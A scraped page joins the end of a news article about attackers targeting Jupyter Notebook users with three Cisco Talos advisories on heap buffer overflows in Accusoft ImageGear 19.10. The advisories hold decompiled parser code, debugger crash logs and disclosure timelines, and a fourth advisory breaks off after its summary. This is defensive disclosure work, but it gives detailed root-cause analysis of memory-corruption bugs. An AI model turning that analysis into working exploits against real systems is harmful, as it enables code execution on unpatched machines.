"There will always be a zero-day or another misconfiguration that users did not know about, like Log4shell or Spring4 shell," he says. "While those do not apply to Jupyter Notebook, they show that you need to have another layer of protection. If you rely on the network to protect you, it is not enough these days, I think."

The Aqua research is not the first to expose vulnerabilities and misconfigurations of data-science tools. In 2021, researchers from cloud-security firm Wiz.io found that Microsoft created an insecure implementation for linking Jupyter Notebook instances to Azure Cosmos DB databases, allowing attackers to create a connection between an instance of Jupyter Notebook and the database service, which then allowed the attacker to access all other databases using the same service.

Attackers' strategy of targeting a new community of technical users is not new. Threat actors have already started targeting machine-learning researchers and the data behind artificial-intelligence and machine-learning systems, according to experts.

Data Scientists, Watch Out: Attackers Have Your Number

A heap-based buffer overflow vulnerability exists in the XWD parser functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Summary**

A heap-based buffer overflow vulnerability exists in the XWD parser functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

Accusoft ImageGear 19.10

**Product URLs**

ImageGear - https://www.accusoft.com/products/imagegear-collection/

**CVSSv3 Score**

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

**Details**

The ImageGear library is a document-imaging developer toolkit that offers image conversion, creation, editing, annotation and more. It supports more than 100 formats such as DICOM, PDF, Microsoft Office and others.

A specially-crafted XWD file can lead to a heap-based buffer overflow in the XWD parser, due to a missing size check.

Trying to load a malformed XWD file, we end up in the following situation:

    (27a8.2444): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000000 ebx=0bb36b30 ecx=00000075 edx=00000001 esi=0bb36b30 edi=0a90aff0
    eip=6ef7e280 esp=0019f608 ebp=0019f624 iopl=0         nv up ei pl nz na po cy
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010203
    MSVCR110!memcpy+0x567:
    6ef7e280 660f7f4f10      movdqa  xmmword ptr [edi+10h],xmm1 ds:002b:0a90b000=????????????????????????????????
    

The access violation is originated at [3] in the xwdread_read_bitmap function:

    void xwdread_read_bitmap(mys_table_function *param_1,uint param_2,XWD_read *XWDcontent,
                            undefined4 param_4,HIGDIBINFO param_5)
    
    {
    
    
      BytesPerLine = (XWDcontent->header_data).BytesPerLine;
      local_38 = 0;
      local_3c = 0;
      local_44 = 0;
      local_24 = 0;
      local_14 = 0;
      local_20 = 0;
      local_c = BytesPerLine;
      bit_depth = IGDIBStd::DIB_bit_depth_get(param_5);
      if (bit_depth == 1) {
        dst_buff_size = IO_raster_size_get(param_5);
      }
      else {
        dst_buff_size = DIBStd_raster_size_get(param_5);                                                    [1]
      }
      bitsPerPixel = (XWDcontent->header_data).BitsPerPixel;
      PixmapWidth = DIB_width_get(param_5);
      local_7c.size_buffer = DIB_height_get(param_5);
      
      [...]
      
      IOb_init(param_1,param_2,&local_7c,BytesPerLine * 5,1);
      lplValue1 = dst_buff_size;
      dst_buff = (byte *)AF_memm_alloc(param_2,dst_buff_size);                                              [2]
      if ((dst_buff != (byte *)0x0) ||
         (AVar3 = AF_err_record_set("..\\..\\..\\..\\Common\\Formats\\xwdread.c",0x3ad,-1000,0,lplValue1
                                    ,param_2,(LPCHAR)0x0), AVar3 == 0)) {
        local_8 = 0;
        if (0 < (int)local_7c.size_buffer) {
          while ((iVar6 = local_8, puVar4 = (uint *)get_data_from_file(&local_7c,BytesPerLine),
                 local_1c = puVar4, puVar4 != (uint *)0x0 ||
                 (AVar3 = AF_err_record_set("..\\..\\..\\..\\Common\\Formats\\xwdread.c",0x3b6,-0x803,0,
                                            BytesPerLine,param_2,(LPCHAR)0x0), AVar3 == 0))) {
            buff = puVar4;
            
            [...]
            
            bit_depth = IGDIBStd::DIB_bit_depth_get(param_5);
            if (true) {
              switch(bit_depth) {
              case 1:
              case 4:
              case 8:
                OS_memcpy(dst_buff,buff,BytesPerLine);                                                      [3]
                break;
              
              [...]
    }
    

The OS_memcpy function at [3] is a memcpy wrapper, so BytesPerLine bytes from buff are copied to dst_buff. The BytesPerLine value and buff’s content are taken directly from the XWD file. The destination buffer dst_buff is allocated at [2] using dst_buff_size as size.

The function DIBStd_raster_size_get, that computes the dst_buff_size value at [1], is shown here:

    AT_INT DIBStd_raster_size_get(HIGDIBINFO hdib)
    
        {
        [...]
        uVar1 = (*hdib->igdibstd_vftable->IGDIBStd::compute_raster_size)((IGDIBStd *)hdib);
        [...]
        return uVar1;
        }
    

The function call compute_raster_size:

    uint __fastcall IGDIBStd::compute_raster_size(IGDIBStd *param_1)
    
    {
    longlong lVar1;
    uint uVar2;
    ulonglong uVar3;
    
    lVar1 = (longlong)(int)(param_1->mys_struct_table_color).ptr_bits_per_channel_table *
            (longlong)(int)(param_1->mys_struct_table_color).ptr_channel_count;                             [4]
    uVar3 = __allmul((uint)lVar1,(uint)((ulonglong)lVar1 >> 0x20),param_1->size_X,
                    (int)param_1->size_X >> 0x1f);                                                          [5]
    lVar1 = (longlong)(uVar3 + 0x1f) >> 3;
                        /* if __all_mul's params2/4 are 0 the results is simply param1*param3 */
    uVar2 = (uint)lVar1 & 0xfffffffc;
    if ((-1 < lVar1) && ((0 < (int)((longlong)(uVar3 + 0x1f) >> 0x23) || (0x7ffffffe < uVar2)))) {
        wrapper_thow_exception
                ((undefined *)0xfffffe6f,(char *)0x0,(undefined *)0x0,(undefined *)0x0,
                (undefined **)0x1022fa38,(undefined *)0x29);
    }
    return uVar2;
    }
    

The calculation of dst_buff_size is based on the variable used in [4] and [5], where the first is dependent on the PixmapDepth and the latter is dependent on the PixmapWidth. The returned value is then used at [2] to allocate the dst_buff that is used as a temporary buffer to store, one at the time, the content of the bitmap’s “rows”. The problem is that neither PixmapWidth nor the calculated size are ever compared with the BytesPerLine variable. This allows the allocation of less space than required, leading to a heap-based buffer overflow.

**Crash Information**

    0:000> !analyze -v
    *******************************************************************************
    *                                                                             *
    *                        Exception Analysis                                   *
    *                                                                             *
    *******************************************************************************
    
    
    KEY_VALUES_STRING: 1
    
        Key  : AV.Fault
        Value: Write
    
        Key  : Analysis.CPU.mSec
        Value: 2687
    
        Key  : Analysis.DebugAnalysisManager
        Value: Create
    
        Key  : Analysis.Elapsed.mSec
        Value: 10478
    
        Key  : Analysis.Init.CPU.mSec
        Value: 1015
    
        Key  : Analysis.Init.Elapsed.mSec
        Value: 63464
    
        Key  : Analysis.Memory.CommitPeak.Mb
        Value: 139
    
        Key  : Timeline.OS.Boot.DeltaSec
        Value: 206950
    
        Key  : Timeline.Process.Start.DeltaSec
        Value: 62
    
        Key  : WER.OS.Branch
        Value: rs5_release
    
        Key  : WER.OS.Timestamp
        Value: 2018-09-14T14:34:00Z
    
        Key  : WER.OS.Version
        Value: 10.0.17763.1
    
        Key  : WER.Process.Version
        Value: 1.0.1.1
    
    
    NTGLOBALFLAG:  2000000
    
    APPLICATION_VERIFIER_FLAGS:  0
    
    APPLICATION_VERIFIER_LOADED: 1
    
    EXCEPTION_RECORD:  (.exr -1)
    ExceptionAddress: 6ef7e280 (MSVCR110!memcpy+0x00000567)
    ExceptionCode: c0000005 (Access violation)
    ExceptionFlags: 00000000
    NumberParameters: 2
    Parameter[0]: 00000001
    Parameter[1]: 0a90b000
    Attempt to write to address 0a90b000
    
    FAULTING_THREAD:  00002444
    
    PROCESS_NAME:  Fuzzme.exe
    
    WRITE_ADDRESS:  0a90b000 
    
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
    
    EXCEPTION_CODE_STR:  c0000005
    
    EXCEPTION_PARAMETER1:  00000001
    
    EXCEPTION_PARAMETER2:  0a90b000
    
    STACK_TEXT:  
    0019f610 6e18f9a6     0a90aff0 0bb36b30 000000f5 MSVCR110!memcpy+0x567
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0019f624 6e3247d2     0a90aff0 0bb36b30 000000f5 igCore19d+0xf9a6
    0019f6bc 6e325165     0019fc3c 1000001e 0019f718 igCore19d!IG_mpi_page_set+0x1387a2
    0019f6e4 6e323dfb     0019fc3c 1000001e 0a338ff8 igCore19d!IG_mpi_page_set+0x139135
    0019fbb4 6e1c13d9     0019fc3c 0a338ff8 00000001 igCore19d!IG_mpi_page_set+0x137dcb
    0019fbec 6e2008d7     00000000 0a338ff8 0019fc3c igCore19d!IG_image_savelist_get+0xb29
    0019fe68 6e200239     00000000 052d7fc0 00000001 igCore19d!IG_mpi_page_set+0x148a7
    0019fe88 6e195757     00000000 052d7fc0 00000001 igCore19d!IG_mpi_page_set+0x14209
    0019fea8 00402219     052d7fc0 0019febc 00000001 igCore19d!IG_load_file+0x47
    0019fec0 00402524     052d7fc0 052d9fe0 0523df50 Fuzzme!fuzzme+0x19
    0019ff28 0040668d     00000005 05236f38 0523df50 Fuzzme!fuzzme+0x324
    0019ff70 75330419     0029e000 75330400 0019ffdc Fuzzme!fuzzme+0x448d
    0019ff80 778b72ed     0029e000 58b504f3 00000000 KERNEL32!BaseThreadInitThunk+0x19
    0019ffdc 778b72bd     ffffffff 778d65b3 00000000 ntdll!__RtlUserThreadStart+0x2f
    0019ffec 00000000     00406715 0029e000 00000000 ntdll!_RtlUserThreadStart+0x1b
    
    
    STACK_COMMAND:  ~0s ; .cxr ; kb
    
    SYMBOL_NAME:  MSVCR110!memcpy+567
    
    MODULE_NAME: MSVCR110
    
    IMAGE_NAME:  MSVCR110.dll
    
    FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_AVRF_c0000005_MSVCR110.dll!memcpy
    
    OS_VERSION:  10.0.17763.1
    
    BUILDLAB_STR:  rs5_release
    
    OSPLATFORM_TYPE:  x86
    
    OSNAME:  Windows 10
    
    IMAGE_VERSION:  11.0.50727.1
    
    FAILURE_ID_HASH:  {80e9803c-2e1f-2683-6c9b-fae163af54bc}
    
    Followup:     MachineOwner
    ---------
    

**Timeline**

2021-08-30 - Initial contact  
2021-08-31 - Vendor acknowledged and created support ticket  
2021-09-10 - Vendor closed support ticket and confirmed under review with engineering team  
2021-11-30 - 60 day follow up  
2021-12-01 - Vendor advised release planned for Q1 2022  
2021-12-07 - 30 day disclosure extension granted  
2022-01-06 - Final disclosure notification  
2022-02-23 - Public disclosure

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2021-21939: TALOS-2021-1368 || Cisco Talos Intelligence Group

A heap-based buffer overflow vulnerability exists in the DecoderStream::Append functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Summary**

A heap-based buffer overflow vulnerability exists in the DecoderStream::Append functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

Accusoft ImageGear 19.10

**Product URLs**

ImageGear - https://www.accusoft.com/products/imagegear-collection/

**CVSSv3 Score**

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-122 - Heap-based Buffer Overflow

**Details**

The ImageGear library is a document-imaging developer toolkit that offers image conversion, creation, editing, annotation and more. It supports more than 100 formats such as DICOM, PDF, Microsoft Office and others.

A specially-crafted JPEG 2000 file can lead to a heap-based buffer overflow in DecoderStream::Append, due to a wrongly sized heap buffer caused by an integer overflow.

Trying to load a malformed JPEG 2000 file, we end up in the following situation:

    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=41414141 ebx=ffffb007 ecx=029ebf58 edx=00000000 esi=00004ff8 edi=029ebf58
    eip=6e982f83 esp=0019f820 ebp=029ecf10 iopl=0         nv up ei ng nz na po nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010282
    igJPEG2K19d!CPb_JPEG2K_init+0x2e2c3:
    6e982f83 ff10            call    dword ptr [eax]      ds:002b:41414141=????????
    

This write access violation is happening in the function read_data_from_file, the second function called by DecoderStream::Append:

    undefined * __thiscall read_data_from_file(inner_struct_0x58 *this,byte *dst_buffer,uint read_size)
    
      {
        int iVar1;
        byte *current_file_position;
        byte *remaining_data_to_read;
        uint local_4;
    
        current_file_position = this->heap_mem_file_content_current_pos_ptr;
        remaining_data_to_read = this->heap_mem_file_content_end_of_file_ptr + -(int)current_file_position
        ;
        local_4 = 0;
        if (remaining_data_to_read <= read_size) {
          do {
            if (remaining_data_to_read != (byte *)0x0) {
              memcpy(dst_buffer,current_file_position,(size_t)remaining_data_to_read);                         [1]
              this->heap_mem_file_content_current_pos_ptr =
                  this->heap_mem_file_content_current_pos_ptr + (int)remaining_data_to_read;
              local_4 = (uint)(remaining_data_to_read + local_4);
              dst_buffer = dst_buffer + (int)remaining_data_to_read;
              read_size = read_size + -(int)remaining_data_to_read;
            }
            if (((byte *)read_size == (byte *)0x0) ||
              (iVar1 = (*(code *)*this->PTR_FUN_ARRAY)(), iVar1 == 0)) {                  [6]
              return (byte *)local_4;
            }
            current_file_position = this->heap_mem_file_content_current_pos_ptr;
            remaining_data_to_read =
                this->heap_mem_file_content_end_of_file_ptr + -(int)current_file_position;
          } while (remaining_data_to_read <= read_size);
        }
        if ((byte *)read_size != (byte *)0x0) {
          memcpy(dst_buffer,this->heap_mem_file_content_current_pos_ptr,read_size);
          this->heap_mem_file_content_current_pos_ptr =
              this->heap_mem_file_content_current_pos_ptr + read_size;
          local_4 = read_size + local_4;
        }
        return (undefined *)local_4;
      }
    

The read_data_from_file is called in DecoderStream::Append shown here:

    uint __thiscall
    DecoderStream::Append(int this,inner_struct_0x58 *inner_0x58,uint bytes_size,ushort param3)
    
    {
      [...]
    
      if (bytes_size != 0) {
        allocation_res = malloc_mem_wrap(*(int *)(this + 8),(int **)(this + 0x28),param3,bytes_size);          [2]
                        /* allocation_res[2] still reside in allocated memory */
        n_bytes_read = read_data_from_file(inner_0x58,(byte *)allocation_res[2],bytes_size);                   [4]
        if (n_bytes_read != (undefined *)bytes_size) {
          if (n_bytes_read < bytes_size) {
            memset((void *)((int)allocation_res[2] + (int)n_bytes_read),0xff,
                    bytes_size - (int)n_bytes_read);                                                           [5]
          }
          local_14 = 0xfffffbff;
          local_10 = "DecoderStream::Append";
          local_c = 0x8c;
          local_8 = "..\\..\\..\\iostream\\decoderstream.cpp";
          local_4 = "unexpected EOF on pulling encoded data";
          uVar1 = FUN_73ecf6a0(*(int *)(this + 8),&local_14);
          return uVar1 & 0xffffff00;
        }
      }
      return CONCAT31((int3)((uint)n_bytes_read >> 8),1);
    }
    

The heap buffer in which the heap overflow takes place is allocated in [2]. The function called at [2] allocates a buffer with a size related to bytes_size, which is directly read from the file. This buffer is than populated, with data taken from the file, in [4] . If the buffer is not full after [4], the remaining available space would be filled up with 0xff in [5].

The first instructions of malloc_mem_wrap, the function called in [2], are shown here:

    PUSH       ECX
    PUSH       EBX
    PUSH       EBP
    MOV        EBP,dword ptr [ESP + bytes_size]
    PUSH       ESI
    PUSH       EDI
    PUSH       ECX
    LEA        EDI,[EBP + 0x1c]                                                                                [3]
    PUSH       EDI
    MOV        ESI,param_2
    MOV        EBX,ECX
    CALL       Environ::AllocMem
    [...]
    

An integer oveflow could occur in [3] because of the sum of bytes_size and 0x1c, leading to allocate a wrongly sized buffer. This could lead to a heap-based buffer oveflow in [1] and/or [5], which can result in remote code execution.

The exception, shown previosly, is the consequence of exploiting the wrongly sized allocated memory due to the integer overflow in [1]. In this specific case this led to overwriting an object’s field, living in the heap, that is used to fetch a function array pointer, then used in [6].

**Crash Information**

crash output:

    0:000> !analyze -v
    *******************************************************************************
    *                                                                             *
    *                        Exception Analysis                                   *
    *                                                                             *
    *******************************************************************************
    
    
    KEY_VALUES_STRING: 1
    
        Key  : AV.Dereference
        Value: String
    
        Key  : AV.Fault
        Value: Read
    
        Key  : Analysis.CPU.mSec
        Value: 2764
    
        Key  : Analysis.DebugAnalysisManager
        Value: Create
    
        Key  : Analysis.Elapsed.mSec
        Value: 14845
    
        Key  : Analysis.Init.CPU.mSec
        Value: 687
    
        Key  : Analysis.Init.Elapsed.mSec
        Value: 1088838
    
        Key  : Analysis.Memory.CommitPeak.Mb
        Value: 133
    
        Key  : Timeline.OS.Boot.DeltaSec
        Value: 24729
    
        Key  : Timeline.Process.Start.DeltaSec
        Value: 1088
    
        Key  : WER.OS.Branch
        Value: rs5_release
    
        Key  : WER.OS.Timestamp
        Value: 2018-09-14T14:34:00Z
    
        Key  : WER.OS.Version
        Value: 10.0.17763.1
    
        Key  : WER.Process.Version
        Value: 1.0.1.1
    
    
    NTGLOBALFLAG:  470
    
    APPLICATION_VERIFIER_FLAGS:  0
    
    EXCEPTION_RECORD:  (.exr -1)
    ExceptionAddress: 6e982f83 (igJPEG2K19d!CPb_JPEG2K_init+0x0002e2c3)
       ExceptionCode: c0000005 (Access violation)
      ExceptionFlags: 00000000
    NumberParameters: 2
       Parameter[0]: 00000000
       Parameter[1]: 41414141
    Attempt to read from address 41414141
    
    FAULTING_THREAD:  000027cc
    
    PROCESS_NAME:  Fuzzme.exe
    
    READ_ADDRESS:  41414141 
    
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
    
    EXCEPTION_CODE_STR:  c0000005
    
    EXCEPTION_PARAMETER1:  00000000
    
    EXCEPTION_PARAMETER2:  41414141
    
    STACK_TEXT:  
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0019f830 6e9c82c6     029e7f18 ffffffff 029f1ea8 igJPEG2K19d!CPb_JPEG2K_init+0x2e2c3
    0019f848 6e8e2ebb     0019f960 6e8e12b4 00000048 igJPEG2K19d!CPb_JPEG2K_init+0x73606
    0019f850 6e8e12b4     00000048 02a2b308 6e99cd17 igJPEG2K19d+0x2ebb
    0019f960 6e97d73e     029e0f78 02a2afc8 00000055 igJPEG2K19d+0x12b4
    0019f980 6e974109     029e0f78 02a2afc8 02a2c458 igJPEG2K19d!CPb_JPEG2K_init+0x28a7e
    0019fa58 6e96f55c     029e0f78 02a2afc8 007ebd78 igJPEG2K19d!CPb_JPEG2K_init+0x1f449
    0019faac 6e96cccd     02a2afc8 02a2aec8 02a2b044 igJPEG2K19d!CPb_JPEG2K_init+0x1a89c
    0019fb10 6e95dbba     02a2afc8 8c153897 007ebd78 igJPEG2K19d!CPb_JPEG2K_init+0x1800d
    0019fb54 6e961059     00000000 02a2aec8 00000000 igJPEG2K19d!CPb_JPEG2K_init+0x8efa
    0019fb70 6e9570a6     007ebd78 02a2aec8 8c15385f igJPEG2K19d!CPb_JPEG2K_init+0xc399
    0019fb9c 6e95711e     0019fc3c 007ebd00 00000000 igJPEG2K19d!CPb_JPEG2K_init+0x23e6
    0019fbb4 6ef013d9     0019fc3c 007ebd00 00000001 igJPEG2K19d!CPb_JPEG2K_init+0x245e
    0019fbec 6ef408d7     00000000 007ebd00 0019fc3c igCore19d!IG_image_savelist_get+0xb29
    0019fe68 6ef40239     00000000 007177a0 00000001 igCore19d!IG_mpi_page_set+0x148a7
    0019fe88 6eed5757     00000000 007177a0 00000001 igCore19d!IG_mpi_page_set+0x14209
    0019fea8 00402219     007177a0 0019febc 00000001 igCore19d!IG_load_file+0x47
    0019fec0 00402524     007177a0 007177e8 00717ad0 Fuzzme!fuzzme+0x19
    0019ff28 0040668d     00000005 00716200 00717ad0 Fuzzme!fuzzme+0x324
    0019ff70 75b90419     002fd000 75b90400 0019ffdc Fuzzme!fuzzme+0x448d
    0019ff80 77a072ed     002fd000 fead64a1 00000000 KERNEL32!BaseThreadInitThunk+0x19
    0019ffdc 77a072bd     ffffffff 77a265b0 00000000 ntdll!__RtlUserThreadStart+0x2f
    0019ffec 00000000     00406715 002fd000 00000000 ntdll!_RtlUserThreadStart+0x1b
    
    
    STACK_COMMAND:  ~0s ; .cxr ; kb
    
    SYMBOL_NAME:  igJPEG2K19d!CPb_JPEG2K_init+2e2c3
    
    MODULE_NAME: igJPEG2K19d
    
    IMAGE_NAME:  igJPEG2K19d.dll
    
    FAILURE_BUCKET_ID:  INVALID_POINTER_READ_FILL_PATTERN_41414141_c0000005_igJPEG2K19d.dll!CPb_JPEG2K_init
    
    OS_VERSION:  10.0.17763.1
    
    BUILDLAB_STR:  rs5_release
    
    OSPLATFORM_TYPE:  x86
    
    OSNAME:  Windows 10
    
    IMAGE_VERSION:  25.1.0.0
    
    FAILURE_ID_HASH:  {79891e7d-f1f3-59e0-064a-4dbbd8234ed4}
    
    Followup:     MachineOwner
    ---------
    

**Timeline**

2021-08-23 - Initial contact  
2021-08-24 - Vendor acknowledged and created support ticket  
2021-10-29 - 60 day follow up  
2021-11-30 - Vendor investigating status  
2021-12-02 - Vendor advised release planned for Q1 2022  
2021-12-07 - 30 day disclosure extension granted (2022-01-24)  
2022-01-06 - Final disclosure notification  
2022-02-23 - Public disclosure

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2021-21914: TALOS-2021-1362 || Cisco Talos Intelligence Group

**Summary**

A heap-based buffer overflow vulnerability exists in the XWD parser functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

Accusoft ImageGear 19.10

**Product URLs**

ImageGear - https://www.accusoft.com/products/imagegear-collection/

**CVSSv3 Score**

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-122 - Heap-based Buffer Overflow

**Details**

The ImageGear library is a document-imaging developer toolkit that offers image conversion, creation, editing, annotation and more. It supports more than 100 formats such as DICOM, PDF, Microsoft Office and others.

A specially-crafted XWD file can lead to a heap-based buffer overflow in the XWD parser, due to a missing size check.

Trying to load a malformed XWD file, we end up in the following situation:

    (1b14.213c): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=016304c8 ebx=000000f5 ecx=0000003b edx=00000001 esi=0aa34b38 edi=0bc05000
    eip=6e9fe13d esp=0019f45c ebp=0019f474 iopl=0         nv up ei pl nz na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
    MSVCR110!memcpy+0x21e:
    6e9fe13d f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
    

The access violation is originated at [3] in the xwdread_pixmapformat_0_or_1 function:

    void xwdread_pixmapformat_0_or_1
                (mys_table_function *param_1,uint param_2,XWD_read *xwd,undefined4 param_4,
                HIGDIBINFO param_5)
    
    {
    [...]
    
    local_8 = DAT_102bcea8 ^ (uint)&stack0xfffffffc;
    local_1d4 = param_2;
    bytePerLine = (xwd->header_data).BytesPerLine;
    error_code = 0;
    local_1dc = xwd;
    local_1e0 = param_5;
    local_1ac = 0;
    bytePerLine_ = bytePerLine;
    dVar2 = IGDIBStd::DIB_bit_depth_get(param_5);
    if (dVar2 == 1) {
        dst_buff_size = IO_raster_size_get(param_5);                                                        [1]
    }
    else {
        dst_buff_size = DIBStd_raster_size_get(param_5);
    }
    [...]
    
    dst_buff = (byte *)AF_memm_alloc(local_1d4,dst_buff_size);                                              [2]
    
    [...]
    if ((error_code == 0) && (local_1d0 = error_code, height = DIB_height_get(local_1e0), 0 < height)) {
        do {
        depth_done = 0;
        if (pixmapDepth_ != 0) {
            io_buffer = local_1a8;
            do {
            src_buff = (byte *)get_data_from_file(io_buffer,bytePerLine_);
            array_of_source_buff[depth_done] = src_buff;
            if (src_buff == (byte *)0x0) {
                local_1ac = AF_err_record_set("..\\..\\..\\..\\Common\\Formats\\xwdread.c",0x2fc,-0x803,
                                            0,bytePerLine_,local_1d4,(LPCHAR)0x0);
                uVar11 = local_1d4;
                if (local_1ac != 0) goto LAB_101a44d0;
            }
            depth_done = depth_done + 1;
            piVar8 = (io_buffer *)&piVar8->size_buffer;
            } while (depth_done < pixmapDepth_);
            uVar11 = local_1d4;
            if (local_1ac != 0) break;
        }
        bytePerLine__ = bytePerLine_;
        [...]
        bit_depth = IGDIBStd::DIB_bit_depth_get(local_1e0);
        if (bit_depth == 1) {
            OS_memcpy(dst_buff,array_of_source_buff[0],bytePerLine__);                                      [3]
        }
    

The OS_memcpy function at [3] is a memcpy wrapper, so BytesPerLine bytes from array_of_source_buff[0] are copied to dst_buff. The BytesPerLine value and array_of_source_buff[0]’s content are taken directly from the XWD file. The destination buffer dst_buff is allocated at [2] using dst_buff_size as size.

The return value of the function IO_raster_size_get, that computes the dst_buff_size value at [1], in this specific case, is essentially: (PixmapWidth + 0x1f) >> 3) & 0xfffffffc.

It is evident that the size of dst_buff_size is only dependent on the PixmapWidth. The returned value of IO_raster_size_get is then used at [2] to allocate the dst_buff that is used as a temporary buffer to store, one at the time, the content of the bitmap’s “rows”. The problem is that neither PixmapWidth nor the calculated size are ever compared with the BytesPerLine variable. This allows the allocation of less space than required, leading to a heap-based buffer overflow.

**Crash Information**

    0:000> !analyze -v
    *******************************************************************************
    *                                                                             *
    *                        Exception Analysis                                   *
    *                                                                             *
    *******************************************************************************
    
    
    KEY_VALUES_STRING: 1
    
        Key  : AV.Fault
        Value: Write
    
        Key  : Analysis.CPU.mSec
        Value: 3046
    
        Key  : Analysis.DebugAnalysisManager
        Value: Create
    
        Key  : Analysis.Elapsed.mSec
        Value: 9918
    
        Key  : Analysis.Init.CPU.mSec
        Value: 499
    
        Key  : Analysis.Init.Elapsed.mSec
        Value: 59454
    
        Key  : Analysis.Memory.CommitPeak.Mb
        Value: 141
    
        Key  : Timeline.OS.Boot.DeltaSec
        Value: 38712
    
        Key  : Timeline.Process.Start.DeltaSec
        Value: 59
    
        Key  : WER.OS.Branch
        Value: rs5_release
    
        Key  : WER.OS.Timestamp
        Value: 2018-09-14T14:34:00Z
    
        Key  : WER.OS.Version
        Value: 10.0.17763.1
    
        Key  : WER.Process.Version
        Value: 1.0.1.1
    
    
    NTGLOBALFLAG:  2000000
    
    APPLICATION_VERIFIER_FLAGS:  0
    
    APPLICATION_VERIFIER_LOADED: 1
    
    EXCEPTION_RECORD:  (.exr -1)
    ExceptionAddress: 6e9fe13d (MSVCR110!memcpy+0x0000021e)
    ExceptionCode: c0000005 (Access violation)
    ExceptionFlags: 00000000
    NumberParameters: 2
    Parameter[0]: 00000001
    Parameter[1]: 0bc05000
    Attempt to write to address 0bc05000
    
    FAULTING_THREAD:  0000213c
    
    PROCESS_NAME:  Fuzzme.exe
    
    WRITE_ADDRESS:  0bc05000 
    
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
    
    EXCEPTION_CODE_STR:  c0000005
    
    EXCEPTION_PARAMETER1:  00000001
    
    EXCEPTION_PARAMETER2:  0bc05000
    
    STACK_TEXT:  
    0019f460 6ebff9a6     0bc04ff8 0aa34b30 000000f5 MSVCR110!memcpy+0x21e
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0019f474 6ed94489     0bc04ff8 0aa34b30 000000f5 igCore19d+0xf9a6
    0019f6bc 6ed9517f     0019fc3c 1000001e 0019f718 igCore19d!IG_mpi_page_set+0x138459
    0019f6e4 6ed93dfb     0019fc3c 1000001e 0ad9cff8 igCore19d!IG_mpi_page_set+0x13914f
    0019fbb4 6ec313d9     0019fc3c 0ad9cff8 00000001 igCore19d!IG_mpi_page_set+0x137dcb
    0019fbec 6ec708d7     00000000 0ad9cff8 0019fc3c igCore19d!IG_image_savelist_get+0xb29
    0019fe68 6ec70239     00000000 05287fd0 00000001 igCore19d!IG_mpi_page_set+0x148a7
    0019fe88 6ec05757     00000000 05287fd0 00000001 igCore19d!IG_mpi_page_set+0x14209
    0019fea8 00402219     05287fd0 0019febc 00000001 igCore19d!IG_load_file+0x47
    0019fec0 00402524     05287fd0 05289fe0 051edf50 Fuzzme!fuzzme+0x19
    0019ff28 0040668d     00000005 051e6f50 051edf50 Fuzzme!fuzzme+0x324
    0019ff70 765f0419     0030c000 765f0400 0019ffdc Fuzzme!fuzzme+0x448d
    0019ff80 777a72ed     0030c000 ccadecfe 00000000 KERNEL32!BaseThreadInitThunk+0x19
    0019ffdc 777a72bd     ffffffff 777c65e6 00000000 ntdll!__RtlUserThreadStart+0x2f
    0019ffec 00000000     00406715 0030c000 00000000 ntdll!_RtlUserThreadStart+0x1b
    
    
    STACK_COMMAND:  ~0s ; .cxr ; kb
    
    SYMBOL_NAME:  MSVCR110!memcpy+21e
    
    MODULE_NAME: MSVCR110
    
    IMAGE_NAME:  MSVCR110.dll
    
    FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_STRING_DEREFERENCE_NXCODE_FILL_PATTERN_AVRF_c0000005_MSVCR110.dll!memcpy
    
    OS_VERSION:  10.0.17763.1
    
    BUILDLAB_STR:  rs5_release
    
    OSPLATFORM_TYPE:  x86
    
    OSNAME:  Windows 10
    
    IMAGE_VERSION:  11.0.50727.1
    
    FAILURE_ID_HASH:  {4dd4b8b0-04bb-4a7d-d82a-fdf37d88888e}
    
    Followup:     MachineOwner
    

**Timeline**

2021-09-10 - Initial contact  
2021-09-14 - Vendor acknowledged and created support ticket  
2021-09-21 - Vendor closed support ticket and confirmed under review with engineering team  
2021-11-30 - 60 day follow up  
2021-12-02 - Vendor advised release planned for Q1 2022  
2021-12-07 - 30 day disclosure extension granted  
2022-01-06 - Final disclosure notification  
2022-02-23 - Public disclosure

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2021-21943: TALOS-2021-1373 || Cisco Talos Intelligence Group

A heap-based buffer overflow vulnerability exists in the Palette box parser functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Summary**

